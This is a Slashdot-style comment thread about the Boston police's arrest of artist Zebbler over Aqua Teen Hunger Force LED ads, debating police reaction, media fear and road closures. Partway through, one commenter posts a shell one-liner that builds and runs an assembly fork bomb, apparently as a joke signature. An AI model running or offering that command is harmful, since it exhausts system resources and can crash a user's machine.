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Aqua Teen Art 'Terrorist' Describes His Ordeal
destinyland writes "Boston police arrested artist 'Zebbler' for installing L.E.D. devices that promoted Aqua Teen Hunger Force (after police mistook them for bombs). He's finally shared the real behind-the-scenes story about his arrest and release. He describes his interrogation ('My interrogator gave me nothing but carrots to eat') and remembers a surreal exchange with a police officer. ('My daughter is a huge fan of you ... So, did you really mean to blow up Boston?') Now his latest project is a cool high-definition/surround sound installation for an event called RIP.MIX.BURN.BAM.PFA."
Considering the amount of explosions in ATHF, I consider the threat to be completely valid. Remember everyone, terrorists clearly mark the bombs with flashing lights, to be widely apparent to everyone, so that they have a chance to observe the bomb before it explodes.
It is so bizarre and still indicates the rigidness of the public service to go so over the edge that it can only be fully described as a work of surrealistic art.
If builders built buildings the way programmers wrote programs, then the first woodpecker would destroy civilization.
this whole story remind me of my favorite line from ATHF - "Welcome to this horse's anus!"
The real "Libtards" are the Libertarians!
What happened to that chick from MIT that was arrested because her vest had "electronic stuff" on it? While her tech-hack-vest said "Socket To Me" and has some breadboards [funny stuff too] or whatever, what actually happened to her in terms of charges and such?
The mainstream media never followed up.
On the one hand, the police went overboard. On the other, I'm not going to shed a tear for an advertiser.
I am also curious about the MIT girl. The broadcast media hugely exaggerated the story from the beginning then slowly throughout the day they backpeddelled their original descriptions of how it went down. I can only assume the lack of follow-up is because they don't want to have to say, "Well, we originally said she had a circuit board with wires and putty on it, but in fact it was just some flashing leds and wires."
Seth
$5 / month hosted VPS on linux = awesome!
So Boston was kinda, sort of, right to be... worried...
On the flip side, the guy comes out after his "interrogation" and was so traumatized and in shock by it, that he does an improv on "hairstyles". I wonder how Orson Welles would've faired...
(and ditto the above posters... what's up with the MIT chick? That was far more dangerous)
My interrogator gave me nothing but carrots to eat
I've heard that eating too many carrots turns one's skin orange. (Ever tested on Mythbusters?) I suppose that would make an interesting interrogation technique: turn the suspect a bright orange to scare the pants off of them.
Table-ized A.I.
Because we do whatever we want, to whomever we want, at all times.
If you build it, nerds will come. Soylentnews.org
it must be a bomb.
Anyway, that was a bit of a rant but my point is, I liked the way this guy handled the media way back (because the media, frankly, deserves that...I appreciate what they do, but every now and then they need to be reminded that they aren't the ones in control but the ones who document and their emotional manipulation and constant spinning deserves to be checked). But on this interview two quotes in particular made me realize he is separate: [Psychedelics] did not seem to offer a path to salvation, just a widening of perspective. and One doesn't need psychedelics to achieve those kinds of realizations however. I really think it was good of him to say that, because yeah, he's clearly someone who isn't a stranger to drugs but he offers a level headed view that's not overly self serving a biased. Too many people think drugs (especially psychedelics) answer all their questions and solve everything and sound like selfserving douchebags. They talk about discovering the answer while taking LSD and it's so pretentious and dickish and done to fit an image. Here's a guy who does them (no problem with that here) and then proceeds to say they helped a bit but they aren't necessary and maybe he enjoyed them but he's clearly not going to judge someone who doesn't do them. I've never tried psychedelics and I also no longer smoke marijuana, but I am most definitely not an anti-drug type; I just am glad to see someone saying drugs can be fun but they aren't necessary. People who do drugs and say that's the only way are almost worse than people who don't do drugs and say that's the only way because people who do drugs generally take pride in their self-described "open minds". So kudos to him for basically saying "yeah I used drugs but you don't have to and you can still get to the same point regardless of your choice."
Because a bomb squad, who should have handled the dismantling of these devices, should have known in 5 minutes it wasn't a fucking bomb. Now either: 1) they weren't called in so the police are incompetent. 2) they were called in and ignored so the police are incompetent. 3) they were called in and thought it was a bomb so they were incompetent. In any event, someone was incompetent in reacting to these LED sticky thingies. It certainly wasn't the PR company.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Maybe they made such a big deal about it to get more Government funding? Lot'$ of taxpayer buck$ out there in the Homeland $ecurity biz.
Conspicuous Hustle - A trick one of my former Chief Engineers used to make it look like he was doing something when the so called problem / issue was a no brainer. He'd make it look like a big deal, set up a "Tiger Team", expended lots of resources, got more budget, manpower, lots of visability, etc. and became the "Hero that saved the project". This was when I worked for a military contracting company in the late '80s. The Chief Engineer was later put on "Special Projects" and fired. He had lied to the customer (USAF) during a critical design review and exposed. I'll never forget when his "Dog Robber" was helping him pack up to leave.
Made my day...
With your incredible mental acuity, you have a promising career ahead of you in the Boston Police Department, or perhaps the Department of Homeland Security.
Admitedly terrorists are morons, thankfully, or we'd be in a lot more trouble. The point is say if I were trying to hurt a lot of people I wouldn't hide the weapon I'd want it to draw attention. Lets say you pull a trailer up and park it on a busy street and have a large sign that says to advertise your new mobile coffee francise you were giving away iPod Nanos to the first hundred customers that buy coffee. You're guaranteed a hundred people will be waiting at the mentioned opening time and probably a whole lot more. The Russians used the technique in Afganistan and went so far as to make explosives shaped like toys trageting kids. If you want to be sure to harm people you want to draw attention but the right type of attention so it seems perfectly normal. A trailer where you seemed to be selling coffee or ice cream wouldn't attract the attention of the police unless they wanted to check your permits but they wouldn't do that until you opened for business. Hiding a bomb in a display that is designed to draw attention does make sense. If they ignored them and they did blow up then people would be screaming. The police were doing their jobs being careful but they came down hard on them afterwards out of annoyance and the fact they felt foolish but what option did they have? Yes they shouldn't have tried to throw the book at them because it's an overreaction. They meant it as kind of a gorilla advertisement and gorilla actions like placing displays without permission or permits has some risk. The police handled the aftermath poorly but they had to know there was some potential for trouble. I'm sure they were expecting a possible fine not the third degree and a possible vacation at Gitmo.
When information is power, privacy is freedom.
Yeah... except anybody who is serious about graphic art for print use.
PS: You were joking right? Please tel me.
http://news.bostonherald.com/news/regional/general/view.bg?articleid=1042838
... then all hell broke loose at Logan airport!
Catch the part about the nametag in the original stories? Probably not... we'll probably find out later on that it was a nametag with 3 LEDS and a battery, maybe a wire was showing
I doubt that a bomb squad was involved for more than a couple of minutes and it is likely that their opinions were ignored.
If you get into a time machine and get back to the dark ages and you put an image of a dragon in the middle of a mediaeval city you can laugh as you watch the crowd getting crazy and paranoid... until they catch and burn you as a witch (and if you don't look like one, they will make you look like a witch, probably by comparing your weight with that of a duck).
Now, fast forward to 2007. Modern enlightened age you think? Think again... If you install some electronic stuff in a modern US city, you can laugh as you watch the crowd getting crazy and paranoid... until they catch you. What happens next depends very much on how white your skin is, whether you have a beard, and whether your name sounds Muslim. An English name combined with white skin and no facial hair will result in you getting your freedom after some interrogation in a police station, but if you have the "wrong" demographic characteristics then you will end up in a nasty camp in Cuba (By the way I find it interesting how they chose to set up Guantanamo on the same island as a communist dictatorship).
The same can happen if you get into an airport with an electronic nametag on your chest.
Or, perhaps if you walk to enter a train with your iPod wires visible from your pocket.
Welcome to a society where everything that deviates from what is considered normal is equated with terrorism. Very soon every kind of behaviour, from what you see on your computer screen (Treacherous Computing will help with this) to what clothes you wear will be controlled by formal bureaucracies by force of violence if you don't comply. Not really because your behaviour will constitute a real threat, but only because your behaviour is inconsistent with that of a slave.
When (or if) this terrorism fear paranoia passes, future historians will discuss our post-911 age with great interest and will consider it as a prime example of how civilisations can sabotage themselves and self-destruct forgetting hundreds of years of societal and civil evolution.
Perhaps its worth saying that the Gimp is superior to Photoshop if you have no money!
boldly going nowhere
As we can see from this case and others, alarming the public is a pretty poor standard. Thanks to media fearmongering, they can apparently be alarmed by almost anything.
TFA mentioned something about a project of his where he took news clips to show how the nightly news is constantly doing it. I wish that would get more attention than ATHF which is, as that comment under TFA put it, "the intellectual equivalent of TV static."
I don't know about anyone else, but these days, I'm more worried by media panics than actual terrorists.
people who watch a lot of cartoon network think everyone knows what's up with cartoon network and will laugh at athf
people who watch a lot of fox news think everyone knows knows what's up with fox news and will yell along with oreilly
people who watch a lot of letterman can't understand how new yorkers can't recognize rupert ji isn't a deranged waiter
none of these assumptions are remotely universal
misunderstandings are bound to happen
one big one did
"Win treats sysadmins better than users. Mac treats users better than sysadmins. Linux treats everyone like sysadmins."
You've failed to distinguish between attracting attention and attracting attention to something that looks like a bomb.
The former is a perfectly evil way to draw a crowd which does not anticipate danger and hurt them. The latter is a really, really stupid tactic. Even if, for some reason, they were convinced that it would work as a means of reverse psychology, it obviously doesn't. I should also mention that the size and placement of the "devices" guaranteed that they would be useless as weapons. They were far too small to make a dent in the bridges and such they were placed on and they were to high up to be any kind of anti-personnel weapon.
The terrorists may be stupid in their own way, but alas they usually do manage to blow people up when they try to. You don't accomplish that with poor tactics and badly placed bombs. Given how prone people are to panicking these days, I'm just glad the terrorists are apparently too stupid to know how to use that to hurt lots of people. I'm sure as hell not going to tell them.
Either the Boston police are totally incompetent, or the police in all the other cities where these things showed up are totally incompetent (depending on whether there really is a threat or not). My bet is on the former.
now we need to go OSS in diesel cars
Carrots are delicious. If the current policy is "build fake bombs, get all you can eat carrot buffet," I am absolutely in.
My girlfriend keeps hinting that I might like ThinkGeek's light-up Wi-Fi Detector T-Shirt for Christmas. Now, I live in Washington, D.C. and work in a federal government building. If I ever step out my front door with that shirt on I'm afraid the Secret Service will spring out of the bushes and drag me off to Guantanamo.
...since when do terrorist explosive devices have blinkenlights on them?
Geeks like to think that they can ignore politics, you can leave politics alone, but politics won't leave you alone.-rms
Actually, it was a lite-brite knockoff with some batteries. Feel free to panic the next time you visit KB toys.
You don't remember? The bomb squad actually detonated a charge over one of the devices.
One wise slashdotter pointed out that all of his electronic devices in conspicuous public places had a tag on it describing what the device was and who to contact for questions. In the future, that's pretty much the only way to avoid this kind of bullcrap because my intuition tells me that law enforcement at large does not think the Boston PD reacted strangely.
Educational standards and common sense standards for police and elected officials in Boston certainly have fallen since Revolutionary War times when John Adams and others in Massachusetts led the way for Independence and for the rights of man in society. Now Boston is known for ignorance, thuggery, incompetence and a place willing to take the rights of humans away for the false security afforded by uniformed idiots with their self presented jangling medals and uniform bling while they all whore their way in front of cameras at the least provocation to strut and self congratulate each other about how well they are doing. Boston is a joke and an embarrassment. That's my two cents.
Enjoy your Karma, after all you earned it. Feel your Karma Joe, feel it burn.
Zebbler had a good point in regards to the business of TV news. Fear prods people to watch TV. The newstainment companies take advantage of that. "I Wash My TV in Fear" is a video show he puts on consisting of the most fearful snippets of TV news recorded over a couple of days. I wonder if it might be possible to create a horror movie that way.
I can understand caution but not mean spirited incompetence. It should have been apparent from the devices size and placement that they were not a real threat. I can understand caution and further tests to make sure because we should not assume terrorists are competent. What I can't understand is bile like yours and vilification of the artists. They were not terrorists and should not be treated that way. "Terror suspect" is just another phrase for "you have no rights" and that is a larger issue than toys on subways. Paranoid people like you will mistake any new object as a "fake bomb" and you will treat the person who put it there, or some scape goat, as a mass murderer. The world you wish for will oppressive and dull but just as dangerous.
DMCA, Hollings, Palladium. What might have sounded like paranoia is now common sense.
I'm not going to shed a tear for an advertiser.
The same thing would happen to anyone. The problem is not what they did, it's a paranoid interpretation of what they did that's the problem. A guerilla beautification squad installing boxes of flowers would have been arrested and vilified too.
DMCA, Hollings, Palladium. What might have sounded like paranoia is now common sense.
http://canz.net/game/c3d72cb
They made him eat carrots? Were they overcooked?
The cops may well have believed it was all a misunderstanding, but their job is to gather evidence of any possible crime. After you've been Mirandized, it's a game in which they try to get as much information out of you as possible without overstepping their constitutional limitations. If they act hostile towards you, it doesn't mean they are actually hostile, any more than a friendly act means you can trust them.
Good cop or bad cop, it doesn't matter, once they've brought you in for something they're going to try to get you to give them evidence of a crime, or if they have solid evidence of a small crime, to get you to give them evidence of a bigger crime. In this case, by the time these guys were being interrogated the cops knew the devices weren't bombs. The cops were trying to get the guy to say something like this, "We weren't planting bombs! We just thought if we could close the subways down we'd get a lot of free publicity for our movie!" Bingo, they've just promoted a case of advertising without the proper permits into the intentional creation of a public nuisance. Armed with this, they throw the small fry back in order to get the genius behind the stunt, which is good police work. The corollary of this is that when there is no larger crime, the small fry endure some tough and threatening sounding talk.
While normally I think cops should be polite and deferential to citizens, this one process is inherently ugly and manipulative, which is why you want a lawyer present in a police interrogation, even if your conscience is clear. You don't want to admit to a crime greater than the cops have evidence for, just because they are threatening to pin an even larger crime on you. Without a lawyer present, the system is inherently unfair and dangerous to the innocent.
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
If you read the timeline of that day you'll see that the police did determine pretty quickly that is wasn't a bomb. The main issue during the day was that the streets had to be be closed so investigators could safely access the devices - even if the authorities didn't think it was a bomb, the street would still have to be closed to workers could safely remove them. There was also the issue that a real pipe bomb turned up at New England Medical Center during that ordeal.
As I wrote before, the biggest mistake those guys made was hanging the devices off of public property - even before 9/11, doing something like that is just guaranteed to get the bomb squad out there (and contrary to popular opinion, the device that was first called in to the police had only been there for less than 24 hours). Some of the other devices on storefronts though had been there longer.
IMHO the police reaction in this one instance was reasonable - up to the arrest & prosecution part. There were no mass evacuations, no arrests of Middle-eastern people for being Middle-Eastern. They closed the roads, investigated the devices, and reopened the roads. The arrests and press releases after that though were clearly CYA.
On the other hand, the arrest of Star Simpson was a fucking travesty, and my alma mater's response to the incident ("reckless"? WTF? Is wearing a blinking tie to the airport also reckless?) has ended my participation in their alumni fundraising activities.
Nice one. Not only US dropped bombs, but the ones they sell as well for other people to drop.
I am now typing more words, because slashdot can't handle people that are actually able to type quickly so I have to stall and write useless crap, just so the filter doesn't think I'm some sort of bot for being able to type.
I wonder why we spend so much energy avoiding the remotest possibility of any potential terrorist attack, yet we tolerate--and even expect--a certain number of deaths on a regular basis from other things, like traffic collisions.
- RG>
Hey pal, this isn't a pleasantforest, so don't waste my time with pleasantries!
He's an artist and a VJ who was doing an advertising gig.
And I have exactly the sympathy for him that I'd give a prostitute who caught AIDS in 2005 from having unprotected anal sex.
(Day job = university PFY admin)
//Information does not want to be free; it wants to breed.
Because the boston police force freaked out over something that looked in no way like a bomb. I felt bad for the guy, I knew they couldn't stick him with any terrorist charges.
Microsoft aggravates my tourettes syndrome.
what, like this?
The main issue during the day was that the streets had to be be closed so investigators could safely access the devices
Funny. No one had to close the streets to PLACE the devices...
I'll have to remember remember to wear a tshirt saying "harmless meat popsicle, do not detonate" if I ever go to Boston...
May contain traces of nut.
Made from the freshest electrons.
Because he wasn't doing it safely. You want to hang off the side of a highway and get yourself or someone else killed hanging an electric sign for an advertiser, go ahead. But if the city or state agency sends an employee to do that without the proper safety precautions and that worker (or an innocent bystander) gets killed, that agency will be held accountable.
And unfortunately, accidents do happen.
Overkill: The Rise of Paramilitary Police Raids in America
RIP.MIX.BURN.BAM.PFA is an exhibition at the Berkeley Art Museum/Pacific Film Archive. The idea is for artists to take two selected digital works and remix them how they see fit, in a real Creative Commons kind of way. The neat thing about this is that the public (i.e. us) is also invited to do the same.
http://bampfa.berkeley.edu/digitalart/ripmixburn
I go to the PFA fairly often, but I regrettably still haven't been to the BAM, even after four years.
he wasn't doing it safely. You want to hang off the side of a highway and get yourself or someone else killed
Actually, from what I heard, he used a stick to lift the devices into position. Therefore, a stick with a hook on the end could be used to pull the devices down, after, perhaps closing the traffic lane under it for 30 seconds. No need to "close the street" for the day.
Even if a 'cherry picker' truck was needed to 'safely' get the worker up the 10 feet or so, that also only requires the closing on a single lane, if that.
That assumes that you know what it is, and you know how it's attached. Even if you proceed with the assumption that it's not a bomb, there are other issues that a worker needs to be aware of - for example, is it powered using AC power ( a shock hazzard)? How is it attached to the structure? Is there any identifying information on it that authorizes its placement? Are there any "surprises" like bottles of urine or bags of feces behind it? (you may think that last one was contrived, but I've seen it first hand, and it's something very real that public workers deal with on highways and transit properties).
These are issues that are best addressed by getting a close look. On the other hand, if Mr. Berdovsky had told the authorities on site what he knew instead of staying quiet and video taping it, maybe things could have gone more efficiently.
No need to "close the street" for the day.I don't know where you're getting this '"close the street" for the day' stuff - consult the timeline and the Wikipedia summary. The northbound lanes of I-93 were closed for about an hour. If you've ever been involved in traffic closures (I have lots of times as part of my work), that's pretty damn quick.
Even if a 'cherry picker' truck was needed to 'safely' get the worker up the 10 feet or so, that also only requires the closing on a single lane, if that.I hope you're not basing "closing a single lane" on the footprint of the man-lift - it's not just the footprint, you also need clearance for the radius of the boom (for a bucket truck or cherry picker) or you need adequate clearance for scissor lifts in case they fall over. Of course don't forget adequate clearances for any power or signal lines that might be in the area as part of the Orange line electrification system.
I know it's easy to sit behind your keyboard and second guess these things but I've actually had to work in situations like that. Even in the most benign of circumstances, there are lots of dangers.
Say no to software patents.
tl;dr bye
But owing to a point above, the LED Sticky thing doesn't have to BE a bomb. It could just house a transmitter. It is the carrot, and the bomb is in a trashcan on the other side of the street. Having made remote control devices for cars in the past, this is not at all unreasonable, especially if the only thing it needs to do is trigger a switch.
:-D
Did they go over the line? Absolutely, but had they not, it might have given others ideas of a weakness.
That said, I can't think of anyone who would have though of advertising a bomb before this (Excepting, of course, Gigli), but there's always a first time...
From the BPD timeline: "At 9:00 a.m. The Boston Police Bomb squad is requested by the MBTA to Sullivan Square and examines the item. As a precaution I-93 is closed [...]"
From Wikipedia: "Northbound I-93 reopened to traffic at about 10:05 a.m."
Like I said, it was I-93N was closed for about 60 minutes. That is pretty quick for a highway closure.
So how did the perps safely place them?Asked and answered.
But after police determined that it was not a real bomb, couldn't they just have waited until traffic slowed down for the next night? So there would have been exactly one road closure... for the first device. After that, they should have known what these kind of devices really were.To determine whether the first device was a bomb, they needed to get up close to it, necessitating the I-93N closure. The Longfellow and BU bridges were closed after the NMC pipe bomb was found. Just because the first device wasn't a bomb, doesn't mean that the subquent devices weren't bombs. Then again, if Turner had put some identifying info on the lights, the authorities could have gotten some clarification.
So, this was 4 hours later than the aqua teen scare. Are Boston Police gifted with premonition, or how else could a 1pm incident cause their poor reaction to a 9am incident? Oh, and if we read on:WTF? How is responding to an unknown object on public infrastructure using caution a poor reaction?
This is a fast reaction. Unlike the 81 minutes earlier in the morning...Again, from the timeline: "At 12:54 p.m. the Boston Police Bomb squad receives a call for a suspicious device at the intersection of Stuart and Charles Street. "
"Six minutes later at 1:02 p.m. Boston Police received a call from New England Medical Center Security that they had uncovered a pipe bomb in their building in a desk drawer."
New England Medical Center is about two blocks away from the Stuart/Charles Street intersection - the bomb squad was already in the area.
Disregard my earlier response to you on this point, I thought you were referring to the timeline of the lane closure.
Regarding your point - that depends on the exact time of events. If the bomb squad showed up on site at 9:00am and 10:21am is the time where the guy on site declares "it's not a bomb!", then the timing does appear to be a little slow, but (IMO) not unreasonably so.
On the other hand, if 9:00am is the time it was called in, and 10:21am is the time where the BPD/Staties issues the press release stating "it's not a bomb!" that sound about right when you consider the time needed to mobilize to the site, close traffic, get suited up, carefully get up close to it, carefully move it, etc.
From personal experience, I can tell you that it takes 20-30 minutes just to close off a lane on a heavily trafficked road - and this is Boston's I-93 during rush hour that we're talking about.
That assumes that you know what it is, and you know how it's attached ...all of which they knew after retreiving the first one.
there are other issues that a worker needs to be aware of
if Mr. Berdovsky had told the authorities on site what he knew instead of staying quiet and video taping it, maybe things could have gone more efficiently
If by 'things' you mean arresting him, sure. I'm sure his going to the cops at the scene of a 'terrurist bombing threat!!11!" and saying 'Hi, I'm the one who placed the device' wouldn't have resulted in his getting thrown to the ground and arrested. That'd be efficient.
man-lift
bucket truck or cherry picker
scissor lifts
Oh, did you miss the link someone else posted of a cop on a ladder taking one down? No 'special precautions', no "booms" (pun intended), no lifts or lane closures. Just a cop on a ladder.
http://www.bradleysalmanac.com/pictures/2007-01/athf-err.jpg
I know it's easy to sit behind your keyboard and second guess these things but I've actually had to work in situations like that. Even in the most benign of circumstances, there are lots of dangers.
I've worked plenty of jobs where I'm 'supposed' to follow certain safety rules. However, if I actually bothered to follow all of them, my productivity would slow to a crawl and I'd be fired. A trivial example from my early years in retail would be ladder safety. If I insisted on reading and obeying all the ladder safety rules*, I'd piss off customers by taking too long to get their computer/printer/whatever off the top shelf, and they'd go elsewhere.
*Never stand on the top step, Keep your body centered , never lean out sideways, alway have a spotter, never carry anything up/down a ladder (how can I get the box down if I can't carry it? Drop it?), etc.
...all of which they knew after retreiving the first one.Let's look at the timeline again - I-93N was closed for 60 minutes when they found the first one. They later found a second one at the corner of Stuart Street and Charles St, but no street closures are mentioned. Presumably they thought it wasn't an issue. Ten minutes later, a pipe bomb with a threatening note is found two blocks away at the New England Medical Center. Ten minutes after that, Mooninites are found under two bridges, which are closed. We now know that events were a bunch of unfortunate coincidences, but I can't see how the response was unreasonable because the authorities didn't immediately jump to that conclusion. BTW, it appears those bridges (along with Storrow Drive) were closed for about 30 minutes. That's about the same traffic disruption that would happen for a traffic accident.
Oh, did you miss the link someone else posted of a cop on a ladder taking one down? No 'special precautions', no "booms" (pun intended), no lifts or lane closures. Just a cop on a ladder.So, when and where was that photo taken? Was is the first one under I-93? Or was is one of the later ones when the police knew what is was? Not to mention that even using "just" a ladder requires adequate clearance for safety.
I've worked plenty of jobs where I'm 'supposed' to follow certain safety rules. However, if I actually bothered to follow all of them, my productivity would slow to a crawl and I'd be fired. A trivial example from my early years in retail would be ladder safetyLugging computer peripherals off a shelf is not in the same ballpark as working a few feet away from a roadway carrying 3,800 cars per hour or an electrified railroad ROW. I've done all three and had 0 near-death experiences working in retail compared with a half-dozen or so working on/near active transportation infrastructure. When you work around roadways and transit lines, you follow the rules or workers (and innocent bystanders) get maimed or killed.
It's a parody of a line from TFA. I don't have mod points else I'd fix it myself.